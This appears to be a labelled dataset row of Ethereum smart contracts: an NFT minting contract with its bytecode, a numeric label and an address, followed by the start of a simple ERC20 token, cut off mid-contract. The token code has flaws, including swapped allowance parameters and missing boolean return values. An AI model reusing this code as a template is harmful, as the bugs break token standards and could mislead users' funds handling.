* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract WallStreetChads is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public maxPerTransactionGeneralSale = 20;
uint256 public maxPerUserPreSale = 1;
uint256 public maxTokensGeneralSale = 10000;
uint256 public maxTokensPreSale = 500;
uint256 public reservedChads = 100;
uint256 public chadPrice = 0.08 ether;
string public baseTokenURI;
string public loadingURI;
bool public generalSaleIsActive = false;
bool public preSaleIsActive = false;
// Events
event ValueReceived(address user, uint amount);
constructor (string memory _name, string memory _symbol, string memory _loadingURI) ERC721(_name, _symbol) {
setLoadingURI(_loadingURI);
_safeMint(msg.sender, 0);
_safeMint(msg.sender, 1);
_safeMint(msg.sender, 2);
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
Address.sendValue(payable(msg.sender), balance);
}
function pauseGeneralSale() public onlyOwner {
generalSaleIsActive = false;
}
function unpauseGeneralSale() public onlyOwner {
generalSaleIsActive = true;
}
function pausePreSale() public onlyOwner {
preSaleIsActive = false;
}
function unpausePreSale() public onlyOwner {
preSaleIsActive = true;
}
// Minting & Transfer Related Functions
function mintWallStreetChadsGeneralSale(uint256 _amountToMint) public payable {
uint256 supply = totalSupply();
require(generalSaleIsActive, 'Wall Street Chads: Sale must be active to mint a Chad, patient you must be.');
require(_amountToMint <= maxPerTransactionGeneralSale, 'Wall Street Chads: Can only mint 20 Chads at a time, you degenerate.');
require((chadPrice * _amountToMint) <= msg.value, 'Wall Street Chads: Ether value sent is not correct, go raise some funds and come back to us.');
require((supply + _amountToMint) <= (maxTokensGeneralSale - reservedChads), 'Wall Street Chads: Exceeds Wall Street Chads supply for sale.');
for (uint256 i=0; i < _amountToMint; i++) {
uint256 mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
function mintWallStreetChadsPreSale() public payable {
uint256 supply = totalSupply();
uint256 numberOfWallStreetChadsCurrentlyOwned = balanceOf(msg.sender);
// Potentially remove this if statement
require(preSaleIsActive, 'Wall Street Chads: Pre-sale must be active to mint a Chad, patient you must be.');
require(!generalSaleIsActive, 'Wall Street Chads: General sale must be inactive throughout the pre-sale.');
require(numberOfWallStreetChadsCurrentlyOwned < maxPerUserPreSale, 'Wall Street Chads: You can only mint one WSC per address during the pre-sale.');
require(chadPrice <= msg.value, 'Wall Street Chads: Ether value sent is not correct, go raise some funds and come back to us.');
require((supply + 1) <= maxTokensPreSale, 'Wall Street Chads: Exceeds Wall Street Chads supply for pre-sale.');
uint256 newTokenId = supply;
_safeMint(msg.sender, newTokenId);
}
function giveAway(address _to, uint256 _amount) external onlyOwner {
require(_amount <= reservedChads, 'Wall Street Chads: Request exceeds reserved supply of our legends.');
for (uint256 i=0; i < _amount; i++) {
uint256 mintIndex = totalSupply();
_safeMint(_to, mintIndex);
}
// Subtract the number
reservedChads -= _amount;
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory arrayOfTokenId = new uint256[](tokenCount);
for (uint256 i=0; i < tokenCount; i++) {
arrayOfTokenId[i] = tokenOfOwnerByIndex(_owner, i);
}
return arrayOfTokenId;
}
function numbersOfWallStreetChadsOwnedBy(address _owner) public view returns (uint256) {
uint256 numberOfTokensOwned = balanceOf(_owner);
return numberOfTokensOwned;
}
/*
*
* Price related functions
*
*/
function getPrice() public view returns (uint256) {
return chadPrice;
}
// @dev - In case ETH fluctuates heavily
function setPrice(uint256 _newPrice) public onlyOwner {
chadPrice = _newPrice;
}
/*
*
* URI related functions
*
*/
function baseURI() public view returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory _baseURI) public onlyOwner {
baseTokenURI = _baseURI;
}
function removeBaseURI() public onlyOwner {
baseTokenURI = '';
}
function setLoadingURI(string memory _loadingURI) public onlyOwner {
loadingURI = _loadingURI;
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), 'Wall Street Chads: Query made for nonexistent token.');
string memory tokenURISuffix = '.json';
string memory tokenIdentifier = string(abi.encodePacked(Strings.toString(_tokenId), tokenURISuffix));
string memory base = baseURI();
// If no base URI, then we actually have not revealed our ambitious Wall Street Chads to the world.
if (bytes(base).length == 0) {
return loadingURI;
}
// If both are set, concatenate the baseURI and tokenIdentifier (via abi.encodePakcked).
if (bytes(tokenIdentifier).length > 0) {
return string(abi.encodePacked(base, tokenIdentifier));
}
// If there is a baseURI but no tokenIdentifier, concatenate the tokenId to the baseURI
return string(abi.encodePacked(base, Strings.toString(_tokenId)));
}
receive() external payable {
emit ValueReceived(msg.sender, msg.value);
}
fallback() external payable { }
}
| 0x60806040526004361061025e5760003560e01c80635e16ad5711610143578063a22cb465116100bb578063d547cfb711610077578063d547cfb7146106fa578063e74ee8101461070f578063e985e9c514610725578063ed88a4721461076e578063f1b9619f14610783578063f2fde38b1461079957005b8063a22cb4651461064b578063aaa6fb6a1461066b578063b0aee8d814610685578063b88d4fde1461069a578063c87b56dd146106ba578063ca800144146106da57005b8063715018a61161010a578063715018a6146105ae5780637f4b978d146105c35780638da5cb5b146105e357806391b7f5ed1461060157806395d89b411461062157806398d5fdca1461063657005b80635e16ad571461052d5780636352211e146105435780636c0360eb146105635780636f90494c1461057857806370a082311461058e57005b80633ccfd60b116101d65780634357da581161019d5780634357da5814610483578063438b6300146104985780634f6ccce7146104c557806355f804b3146104e55780635b1c25bf146105055780635d08f4921461051a57005b80633ccfd60b146104035780633e7f5fa814610418578063406eaef81461043857806342842e0e1461044e57806342d1e8f91461046e57005b806318160ddd1161022557806318160ddd146103725780631d859136146103875780631f0234d81461038f57806323b872dd146103ae5780632f745c59146103ce57806332790c53146103ee57005b806301ffc9a71461029f57806306fdde03146102d4578063081812fc146102f6578063095ea7b31461032e578063112556591461034e57005b3661029d57604080513381523460208201527f7e71433ddf847725166244795048ecf3e3f9f35628254ecbf736056664233493910160405180910390a1005b005b3480156102ab57600080fd5b506102bf6102ba3660046126bf565b6107b9565b60405190151581526020015b60405180910390f35b3480156102e057600080fd5b506102e96107e4565b6040516102cb9190612837565b34801561030257600080fd5b50610316610311366004612742565b610876565b6040516001600160a01b0390911681526020016102cb565b34801561033a57600080fd5b5061029d610349366004612695565b610910565b34801561035a57600080fd5b50610364600c5481565b6040519081526020016102cb565b34801561037e57600080fd5b50600854610364565b61029d610a26565b34801561039b57600080fd5b506013546102bf90610100900460ff1681565b3480156103ba57600080fd5b5061029d6103c93660046125a1565b610ca7565b3480156103da57600080fd5b506103646103e9366004612695565b610cd8565b3480156103fa57600080fd5b5061029d610d6e565b34801561040f57600080fd5b5061029d610da7565b34801561042457600080fd5b5061029d6104333660046126f9565b610ddf565b34801561044457600080fd5b50610364600e5481565b34801561045a57600080fd5b5061029d6104693660046125a1565b610e20565b34801561047a57600080fd5b5061029d610e3b565b34801561048f57600080fd5b5061029d610e76565b3480156104a457600080fd5b506104b86104b3366004612553565b610ead565b6040516102cb91906127f3565b3480156104d157600080fd5b506103646104e0366004612742565b610f4f565b3480156104f157600080fd5b5061029d6105003660046126f9565b610fe2565b34801561051157600080fd5b5061029d61101f565b61029d610528366004612742565b611067565b34801561053957600080fd5b50610364600b5481565b34801561054f57600080fd5b5061031661055e366004612742565b611277565b34801561056f57600080fd5b506102e96112ee565b34801561058457600080fd5b50610364600d5481565b34801561059a57600080fd5b506103646105a9366004612553565b6112fd565b3480156105ba57600080fd5b5061029d611384565b3480156105cf57600080fd5b506103646105de366004612553565b6113ba565b3480156105ef57600080fd5b50600a546001600160a01b0316610316565b34801561060d57600080fd5b5061029d61061c366004612742565b6113cd565b34801561062d57600080fd5b506102e96113fc565b34801561064257600080fd5b50601054610364565b34801561065757600080fd5b5061029d610666366004612659565b61140b565b34801561067757600080fd5b506013546102bf9060ff1681565b34801561069157600080fd5b5061029d6114d0565b3480156106a657600080fd5b5061029d6106b53660046125dd565b611506565b3480156106c657600080fd5b506102e96106d5366004612742565b61153e565b3480156106e657600080fd5b5061029d6106f5366004612695565b611705565b34801561070657600080fd5b506102e9611803565b34801561071b57600080fd5b5061036460105481565b34801561073157600080fd5b506102bf61074036600461256e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561077a57600080fd5b506102e9611891565b34801561078f57600080fd5b50610364600f5481565b3480156107a557600080fd5b5061029d6107b4366004612553565b61189e565b60006001600160e01b0319821663780e9d6360e01b14806107de57506107de8261193c565b92915050565b6060600080546107f390612a33565b80601f016020809104026020016040519081016040528092919081815260200182805461081f90612a33565b801561086c5780601f106108415761010080835404028352916020019161086c565b820191906000526020600020905b81548152906001019060200180831161084f57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108f45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061091b82611277565b9050806001600160a01b0316836001600160a01b031614156109895760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108eb565b336001600160a01b03821614806109a557506109a58133610740565b610a175760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108eb565b610a21838361198c565b505050565b6000610a3160085490565b90506000610a3e336112fd565b601354909150610100900460ff16610ad65760405162461bcd60e51b815260206004820152604f60248201527f57616c6c205374726565742043686164733a205072652d73616c65206d75737460448201527f2062652061637469766520746f206d696e74206120436861642c20706174696560648201526e373a103cb7ba9036bab9ba1031329760891b608482015260a4016108eb565b60135460ff1615610b615760405162461bcd60e51b815260206004820152604960248201527f57616c6c205374726565742043686164733a2047656e6572616c2073616c652060448201527f6d75737420626520696e616374697665207468726f7567686f7574207468652060648201526838393296b9b0b6329760b91b608482015260a4016108eb565b600c548110610bee5760405162461bcd60e51b815260206004820152604d60248201527f57616c6c205374726565742043686164733a20596f752063616e206f6e6c792060448201527f6d696e74206f6e652057534320706572206164647265737320647572696e672060648201526c3a34329038393296b9b0b6329760991b608482015260a4016108eb565b346010541115610c105760405162461bcd60e51b81526004016108eb90612922565b600e54610c1e8360016129a5565b1115610c9c5760405162461bcd60e51b815260206004820152604160248201527f57616c6c205374726565742043686164733a20457863656564732057616c6c2060448201527f53747265657420436861647320737570706c7920666f72207072652d73616c656064820152601760f91b608482015260a4016108eb565b81610a2133826119fa565b610cb13382611a14565b610ccd5760405162461bcd60e51b81526004016108eb906128d1565b610a21838383611b0b565b6000610ce3836112fd565b8210610d455760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016108eb565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610d985760405162461bcd60e51b81526004016108eb9061289c565b6013805460ff19166001179055565b600a546001600160a01b03163314610dd15760405162461bcd60e51b81526004016108eb9061289c565b47610ddc3382611cb6565b50565b600a546001600160a01b03163314610e095760405162461bcd60e51b81526004016108eb9061289c565b8051610e1c906012906020840190612428565b5050565b610a2183838360405180602001604052806000815250611506565b600a546001600160a01b03163314610e655760405162461bcd60e51b81526004016108eb9061289c565b6013805461ff001916610100179055565b600a546001600160a01b03163314610ea05760405162461bcd60e51b81526004016108eb9061289c565b6013805461ff0019169055565b60606000610eba836112fd565b905060008167ffffffffffffffff811115610ed757610ed7612af5565b604051908082528060200260200182016040528015610f00578160200160208202803683370190505b50905060005b82811015610f4757610f188582610cd8565b828281518110610f2a57610f2a612adf565b602090810291909101015280610f3f81612a6e565b915050610f06565b509392505050565b6000610f5a60085490565b8210610fbd5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016108eb565b60088281548110610fd057610fd0612adf565b90600052602060002001549050919050565b600a546001600160a01b0316331461100c5760405162461bcd60e51b81526004016108eb9061289c565b8051610e1c906011906020840190612428565b600a546001600160a01b031633146110495760405162461bcd60e51b81526004016108eb9061289c565b604080516020810191829052600090819052610ddc91601191612428565b600061107260085490565b60135490915060ff166111015760405162461bcd60e51b815260206004820152604b60248201527f57616c6c205374726565742043686164733a2053616c65206d7573742062652060448201527f61637469766520746f206d696e74206120436861642c2070617469656e74207960648201526a37ba9036bab9ba1031329760a91b608482015260a4016108eb565b600b548211156111875760405162461bcd60e51b8152602060048201526044602482018190527f57616c6c205374726565742043686164733a2043616e206f6e6c79206d696e74908201527f20323020436861647320617420612074696d652c20796f7520646567656e657260648201526330ba329760e11b608482015260a4016108eb565b348260105461119691906129d1565b11156111b45760405162461bcd60e51b81526004016108eb90612922565b600f54600d546111c491906129f0565b6111ce83836129a5565b11156112425760405162461bcd60e51b815260206004820152603d60248201527f57616c6c205374726565742043686164733a20457863656564732057616c6c2060448201527f53747265657420436861647320737570706c7920666f722073616c652e00000060648201526084016108eb565b60005b82811015610a2157600061125860085490565b905061126433826119fa565b508061126f81612a6e565b915050611245565b6000818152600260205260408120546001600160a01b0316806107de5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108eb565b6060601180546107f390612a33565b60006001600160a01b0382166113685760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108eb565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146113ae5760405162461bcd60e51b81526004016108eb9061289c565b6113b86000611dcf565b565b6000806113c6836112fd565b9392505050565b600a546001600160a01b031633146113f75760405162461bcd60e51b81526004016108eb9061289c565b601055565b6060600180546107f390612a33565b6001600160a01b0382163314156114645760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108eb565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b031633146114fa5760405162461bcd60e51b81526004016108eb9061289c565b6013805460ff19169055565b6115103383611a14565b61152c5760405162461bcd60e51b81526004016108eb906128d1565b61153884848484611e21565b50505050565b6000818152600260205260409020546060906001600160a01b03166115c25760405162461bcd60e51b815260206004820152603460248201527f57616c6c205374726565742043686164733a205175657279206d61646520666f60448201527339103737b732bc34b9ba32b73a103a37b5b2b71760611b60648201526084016108eb565b604080518082019091526005815264173539b7b760d91b602082015260006115e984611e54565b826040516020016115fb929190612787565b604051602081830303815290604052905060006116166112ee565b90508051600014156116b7576012805461162f90612a33565b80601f016020809104026020016040519081016040528092919081815260200182805461165b90612a33565b80156116a85780601f1061167d576101008083540402835291602001916116a8565b820191906000526020600020905b81548152906001019060200180831161168b57829003601f168201915b50505050509350505050919050565b8151156116ea5780826040516020016116d1929190612787565b6040516020818303038152906040529350505050919050565b806116f486611e54565b6040516020016116d1929190612787565b600a546001600160a01b0316331461172f5760405162461bcd60e51b81526004016108eb9061289c565b600f548111156117b25760405162461bcd60e51b815260206004820152604260248201527f57616c6c205374726565742043686164733a205265717565737420657863656560448201527f647320726573657276656420737570706c79206f66206f7572206c6567656e64606482015261399760f11b608482015260a4016108eb565b60005b818110156117e75760006117c860085490565b90506117d484826119fa565b50806117df81612a6e565b9150506117b5565b5080600f60008282546117fa91906129f0565b90915550505050565b6011805461181090612a33565b80601f016020809104026020016040519081016040528092919081815260200182805461183c90612a33565b80156118895780601f1061185e57610100808354040283529160200191611889565b820191906000526020600020905b81548152906001019060200180831161186c57829003601f168201915b505050505081565b6012805461181090612a33565b600a546001600160a01b031633146118c85760405162461bcd60e51b81526004016108eb9061289c565b6001600160a01b03811661192d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108eb565b610ddc81611dcf565b3b151590565b60006001600160e01b031982166380ac58cd60e01b148061196d57506001600160e01b03198216635b5e139f60e01b145b806107de57506301ffc9a760e01b6001600160e01b03198316146107de565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906119c182611277565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b610e1c828260405180602001604052806000815250611f52565b6000818152600260205260408120546001600160a01b0316611a8d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108eb565b6000611a9883611277565b9050806001600160a01b0316846001600160a01b03161480611ad35750836001600160a01b0316611ac884610876565b6001600160a01b0316145b80611b0357506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611b1e82611277565b6001600160a01b031614611b865760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108eb565b6001600160a01b038216611be85760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108eb565b611bf3838383611f85565b611bfe60008261198c565b6001600160a01b0383166000908152600360205260408120805460019290611c279084906129f0565b90915550506001600160a01b0382166000908152600360205260408120805460019290611c559084906129a5565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b80471015611d065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108eb565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611d53576040519150601f19603f3d011682016040523d82523d6000602084013e611d58565b606091505b5050905080610a215760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108eb565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611e2c848484611b0b565b611e388484848461203d565b6115385760405162461bcd60e51b81526004016108eb9061284a565b606081611e785750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ea25780611e8c81612a6e565b9150611e9b9050600a836129bd565b9150611e7c565b60008167ffffffffffffffff811115611ebd57611ebd612af5565b6040519080825280601f01601f191660200182016040528015611ee7576020820181803683370190505b5090505b8415611b0357611efc6001836129f0565b9150611f09600a86612a89565b611f149060306129a5565b60f81b818381518110611f2957611f29612adf565b60200101906001600160f81b031916908160001a905350611f4b600a866129bd565b9450611eeb565b611f5c838361214a565b611f69600084848461203d565b610a215760405162461bcd60e51b81526004016108eb9061284a565b6001600160a01b038316611fe057611fdb81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612003565b816001600160a01b0316836001600160a01b031614612003576120038382612298565b6001600160a01b03821661201a57610a2181612335565b826001600160a01b0316826001600160a01b031614610a2157610a2182826123e4565b60006001600160a01b0384163b1561213f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120819033908990889088906004016127b6565b602060405180830381600087803b15801561209b57600080fd5b505af19250505080156120cb575060408051601f3d908101601f191682019092526120c8918101906126dc565b60015b612125573d8080156120f9576040519150601f19603f3d011682016040523d82523d6000602084013e6120fe565b606091505b50805161211d5760405162461bcd60e51b81526004016108eb9061284a565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611b03565b506001949350505050565b6001600160a01b0382166121a05760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108eb565b6000818152600260205260409020546001600160a01b0316156122055760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108eb565b61221160008383611f85565b6001600160a01b038216600090815260036020526040812080546001929061223a9084906129a5565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600060016122a5846112fd565b6122af91906129f0565b600083815260076020526040902054909150808214612302576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090612347906001906129f0565b6000838152600960205260408120546008805493945090928490811061236f5761236f612adf565b90600052602060002001549050806008838154811061239057612390612adf565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806123c8576123c8612ac9565b6001900381819060005260206000200160009055905550505050565b60006123ef836112fd565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b82805461243490612a33565b90600052602060002090601f016020900481019282612456576000855561249c565b82601f1061246f57805160ff191683800117855561249c565b8280016001018555821561249c579182015b8281111561249c578251825591602001919060010190612481565b506124a89291506124ac565b5090565b5b808211156124a857600081556001016124ad565b600067ffffffffffffffff808411156124dc576124dc612af5565b604051601f8501601f19908116603f0116810190828211818310171561250457612504612af5565b8160405280935085815286868601111561251d57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461254e57600080fd5b919050565b60006020828403121561256557600080fd5b6113c682612537565b6000806040838503121561258157600080fd5b61258a83612537565b915061259860208401612537565b90509250929050565b6000806000606084860312156125b657600080fd5b6125bf84612537565b92506125cd60208501612537565b9150604084013590509250925092565b600080600080608085870312156125f357600080fd5b6125fc85612537565b935061260a60208601612537565b925060408501359150606085013567ffffffffffffffff81111561262d57600080fd5b8501601f8101871361263e57600080fd5b61264d878235602084016124c1565b91505092959194509250565b6000806040838503121561266c57600080fd5b61267583612537565b91506020830135801515811461268a57600080fd5b809150509250929050565b600080604083850312156126a857600080fd5b6126b183612537565b946020939093013593505050565b6000602082840312156126d157600080fd5b81356113c681612b0b565b6000602082840312156126ee57600080fd5b81516113c681612b0b565b60006020828403121561270b57600080fd5b813567ffffffffffffffff81111561272257600080fd5b8201601f8101841361273357600080fd5b611b03848235602084016124c1565b60006020828403121561275457600080fd5b5035919050565b60008151808452612773816020860160208601612a07565b601f01601f19169290920160200192915050565b60008351612799818460208801612a07565b8351908301906127ad818360208801612a07565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906127e99083018461275b565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561282b5783518352928401929184019160010161280f565b50909695505050505050565b6020815260006113c6602083018461275b565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252605c908201527f57616c6c205374726565742043686164733a2045746865722076616c7565207360408201527f656e74206973206e6f7420636f72726563742c20676f20726169736520736f6d60608201527f652066756e647320616e6420636f6d65206261636b20746f2075732e00000000608082015260a00190565b600082198211156129b8576129b8612a9d565b500190565b6000826129cc576129cc612ab3565b500490565b60008160001904831182151516156129eb576129eb612a9d565b500290565b600082821015612a0257612a02612a9d565b500390565b60005b83811015612a22578181015183820152602001612a0a565b838111156115385750506000910152565b600181811c90821680612a4757607f821691505b60208210811415612a6857634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612a8257612a82612a9d565b5060010190565b600082612a9857612a98612ab3565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610ddc57600080fdfea26469706673582212206c2f4a6c339a5dd065c1de36b72fef0e7036f1016365a18c83261fa43be4ad6664736f6c63430008060033 | [
5
] |
0xf3421d3a9af04d0c9b1605849b619c9dc96b73c9 | pragma solidity ^0.5.7;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20Standard {
using SafeMath for uint256;
uint public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
string public version;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint)) allowed;
//Fix for short address attack against ERC20
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function transfer(address _recipient, uint _value) public onlyPayloadSize(2*32) {
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_recipient] = balances[_recipient].add(_value);
emit Transfer(msg.sender, _recipient, _value);
}
function transferFrom(address _from, address _to, uint _value) public {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _spender, address _owner) public view returns (uint balance) {
return allowed[_owner][_spender];
}
//Event which is triggered to log all transfers to this contract's event log
event Transfer(
address indexed _from,
address indexed _to,
uint _value
);
//Event which is triggered whenever an owner approves a new allowance for a spender.
event Approval(
address indexed _owner,
address indexed _spender,
uint _value
);
